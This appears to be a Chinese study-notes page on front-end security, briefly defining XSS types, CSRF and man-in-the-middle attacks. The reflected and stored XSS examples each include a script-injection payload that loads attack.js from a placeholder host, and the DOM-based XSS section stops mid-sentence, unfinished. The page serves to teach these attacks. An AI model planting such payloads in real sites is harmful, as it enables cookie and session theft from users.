Skip to main content

前端安全

1. XSS (跨站脚本攻击)

攻击者利用网站漏洞将代码注入到其他用户浏览器

1.1 反射型(非持久性)

攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器

  • 通过 URL 插入恶意代码
  • 有服务端参与
  • 需要用户访问特定链接

举个栗子: 攻击者诱导被害者打开链接olumel.top?name=<script src="http://a.com/attack.js"/>, 如果未经处理直接把 name 字段拼接到前端模板中,就在被害者不知情的情况下执行了攻击者注入的脚本(可以通过此方式获取Cookie等信息)

1.2 存储型(持久性)

攻击者将注入型脚本提交到被攻击的数据库中,这样其他用户浏览数据时,就可以获取到服务器返回的注入脚本并执行

  • 恶意代码存储在服务器中
  • 有服务端参与
  • 只要用户访问了被注入恶意脚本的地址就会被攻击

举个栗子: 攻击者在目标留言板中提交了<script src="http://a.com/attack.js"/>,目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过innerHTML渲染到页面中,其他用户访问留言数据时,就会自动执行恶意脚本

1.3 DOM 型

攻击者通过在 URL

2. CSRF (跨站请求伪造)

攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作

3. 中间人攻击(MITM)

攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改